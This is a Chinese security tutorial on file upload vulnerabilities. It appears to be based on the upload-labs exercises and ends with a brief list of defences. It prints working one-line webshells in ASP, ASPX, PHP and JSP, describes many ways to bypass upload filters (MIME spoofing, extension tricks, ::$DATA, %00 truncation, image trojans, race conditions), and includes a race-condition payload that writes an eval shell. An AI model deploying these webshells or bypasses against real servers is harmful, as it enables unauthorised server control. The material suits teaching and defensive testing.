0x01漏洞概述
由于开发者安全意识不足,或者编写代码时对上传文件的合法校验存在缺陷,导致上传漏洞的产生。
上传漏洞经常出现于头像上传、相册上传、附件上传、新闻投稿等位置,产生的危害极大, 可直接导致web服务器权限被攻击者控制。
如果WEB应用在文件上传过程中没有对 文件 的安全性进行 有效 的校验,攻击者可以通过上 传 WEBshell 等恶意文件对服务器进行攻击,这种情况下认为系统存在文件上传漏洞。
0x02木马的形式与种类
最常见利用文件上传漏洞的方法就是上传网站木马(webshell)文件,WEBSHELL又称网页木马文件,根据 开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读 写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。
根据开发的语言不同,木马的种类也不同!
ASP
<%evalrequest("x")%>
<%executerequest("x")%>
ASPX
<%@PageLanguage=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>
PHP
<?phpeval($_POST['x']);?>
<?phpassert($_POST['x']);?>
JSP CMD WebShell
%
if("x".equals(request.getParameter("pwd")))
{
java.io.InputStream in=Runtime.getRuntime().exec(request.
getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
}
%>
漏洞利用前提
首先,上传的文件能够被 Web 容器解释执行。所以文件上传后所在的目录要是 Web 容器所覆盖到的路径。
其次,用户能够从 Web 上访问这个文件。如果文件上传了,但用户无法通过 Web 访问,或者无法使得 Web容器解释这个脚本,那么也不能称之为漏洞。
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也 可能导致攻击不成功。
0x03常见绕过方式
MIME:定义:MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型,是描述消息内容类型的因特尔标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。意义:MIME设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。
一些常用类型的MIME:
js前端绕过
存在js前端判断,通过return checkfile()判断上传的文件类型是否正确;
解决办法:
1、删除前端代码中的checkfile(),使前端无法对上传的文件进行判断。
2、先上传一个符合条件的文件,然后使用burp抓包,修改文件类型为php,放包,这样就可以绕过js的前端检测。less-1
MIME检测与绕过
检测:如果服务端代码是通过Content-Type的值来判断文件的类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户端传递的,是可以任意修改的 。
会检测文件的MIME类型,然后判断是否符合条件;
绕过;使用burp抓包,修改请求的Content-Type类型从而绕过检测,上传php文件。less-2.。
黑名单检测与绕过
一些会进行黑名单检测,符合数据库里面黑名单的文件类型,将不允许上传;
但是我们可以上传那些没有被过滤的文件类型。
asp,asxp,php,jsp
phtml,php3,php4,php5,pht
大小写绕过
$file_ext = strtolower($file_ext); //转换为小写 这个函数会将文件后缀名转化为小写如果没有这类型的函数进行黑名单的检测,我们可以考虑使用大小写绕过的方式进行文件上传。 例如php--pHP、PHP、PHp。 less-6
空格绕过
$file_ext = trim($file_ext); //首尾去空 会将文件后缀名前后的空格去除 在没有这种函数的情况下,我们可以使用在后缀名后面加空格的方法绕过黑名单检测 less-7
加点绕过
$file_name = deldot($file_name);//删除文件名末尾的点 在没有这类型函数的情况下,我们可以在文件名后加.绕过黑名单检测。
::$DATA绕过
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA在没有这类型函数的情况下我们可以在文件名后加字符串::$DATA绕过黑名单检测补充:Windows本地文件系统中的文件流(File Streams): 当从 Windows shell 命令行指定创建文件时,流的完整名称为 "filename:stream name:stream type",如示例中所示:"myfile.txt:stream1:$DATA"流类型 下面是 NTFS 流类型(也称为属性类型代码)的列表。某些NTFS 内部的流类型 ,格式未记录。 流类型 说明::$ATTRIBUTE_LIST 包含组成文件的所有属性的列表,并标识每个属性的位置。::$BITMAP 索引用于管理目录的B-Tree空间的位图。B-Tree以4 kB块管理(无论群集大小),此用于管理这些块的分配。每个目录都存在此流类型。::$DATA 数据流。默认数据流没有名称。可以使用 FindFirstStreamW 和 FindNextStreamW 函数枚举数据流。::$EA 包含扩展的属性数据。::$EA_INFORMATION 包含有关扩展属性的支持信息。::$FILE_NAME 文件的名称,采用 Unicode 字符。这包括文件的短名称以及任何硬链接。::$INDEX_ALLOCATION 目录的流类型。用于实现大目录的文件名分配。这个流表示目录本身,并包含目录的所有数据。对这种类型流的更改将被记录到NTFS更改日志中。$INDEX_ALLOCATION流类型的默认流名是$I30,所以“DirName”、“DirName::$INDEX_ALLOCATION”和“DirName:$I30:$INDEX_ALLOCATION”都是等价的。::$INDEX_ROOT 该流表示索引的B-Tree的根。每个目录都存在此流类型。::$LOGGED_UTILITY_STREAM 类似于::$DATA,但是操作被记录到NTFS更改日志中。用于EFS和Transactional NTFS (TxF)。":StreamName:$StreamType"对EFS是":$EFS:$LOGGED_UTILITY_STREAM",对TxF是":$TXF_DATA:$LOGGED_UTILITY_STREAM"。::$OBJECT_ID 用于标识链接跟踪服务的文件的16字节 ID。::$REPARSE_POINT 重新 分析点 数据。对NTFS格式下的一个文件而言,至少包含一个流,即data流(其stream type为$DATA),data流是文件的主流,默认的data流其stream name为空。默认一个文件如果被指定了流,而该流没有stream type的话会在存储时自动添加$DATA。例如上面看到的例子myfile.txt:stream1:$DATA在存储时实际上是为myfile.txt:stream1,但在查询结果中需要去除:$DATA,否则会出现参数错误,这个是notepad不能很好的支持流所导致的。 对文件夹而言,没有data流,其主流是directory流(stream type为$INDEX_ALLOCATION),directory流默认的stream name是$I30。尽管文件夹默认没有data流,但用户可为其指派data流。
点空格点绕过黑名单检测
$file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = trim($file_ext); //首尾去空当这两个函数同时使用时我们可以通过点空格点绕过 例如1.php. .我们最终上传的文件是1.php.
双写绕过
$file_name = str_ireplace($deny_ext,"", $file_name);str_ireplace函数会将$deny_ext黑名单里面的文件名替换为空 str_ireplace函数:str_ireplace(find,replace,string,count) 参数 描述 find 必需。规定要查找的值。 replace 必需。规定替换 find 中的值的值。string 必需。规定被搜索的字符串。 count 可选。一个变量,对替换数进行计数。
GET型00截断
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
绕过方法:白名单判断,但保存文件的方式是通过 $img_path直接拼接,可以使用%00截断 需关闭magic_quotes_gpc
php 版本<5.3.4
Post型00截断
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
绕过方法:白名单判断,但保存文件的方式是通过 $img_path直接拼接,可以使用%00截断
需关闭magic_quotes_gpc
php 版本<5.3.4
图片木马
一些服务器会对所上传文件内容进行检测,这时可以制作图片木马,绕过服务器的检测
图片马制作命令:copy 图片文件.jpg|png|gif/b +木马文件.php /a 生成的文件名.jpg|png|gif|
例:copy 1.jpg /b + 2.php /a 3.jpg
常用的图片检测函数
getimagesize()
获取图片宽度高度、大小尺寸、图片类型、用于布局的img属性
原理:这个函数的意思是:会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的
exif_imagetype()函数
原理:读取一个图像的第一个字节并检查其签名。
move_uploaded_file() (有这么一个特性,会忽略掉文件末尾的 /.)
函数将上传的文件移动到新位置。
若成功,则返回 true,否则返回 false。
补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
文件二次渲染
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。
绕过方法:配合文件包含漏洞
将一句话木马插入到网站二次处理后的图片中,也就是将二次渲染后保留的图片和一句话木马制作成图片马,再配合文件包含漏洞解析图片马中的代码,获取webshell。
配合条件竞争漏洞
竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问同一个共享代码,变量,文件等,运行的结果依赖于不同线程访问数据的顺序
$upload_file = UPLOAD_PATH . '/' . $file_name;$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);
利用条件竞争删除文件时间差绕过。这里先将文件上传到服务器,然后通过rename 修改名称,再通过unlink删除文件:
php版本:5.4.45
<?php fputs(fopen('info.php', 'w'), '<?php @eval($_POST['ant'])?>');?>
0x04文件上传漏洞防御
1、对上传的文件的扩展名和文件报头信息在服务端与白名单对比,不符合白名单的不予保存。
2、上传过程不应传递目录或文件路径,使用预先设置路径列表中的匹配索引值,严禁泄露文件绝对路径。
3、对文件进行重命名,使用随机性好的文件目录和文件名进行保存。
4、上传文件的临时目录和保存目录不允许执行权限。
5、有条件时可将保存在内容服务器或者数据库中。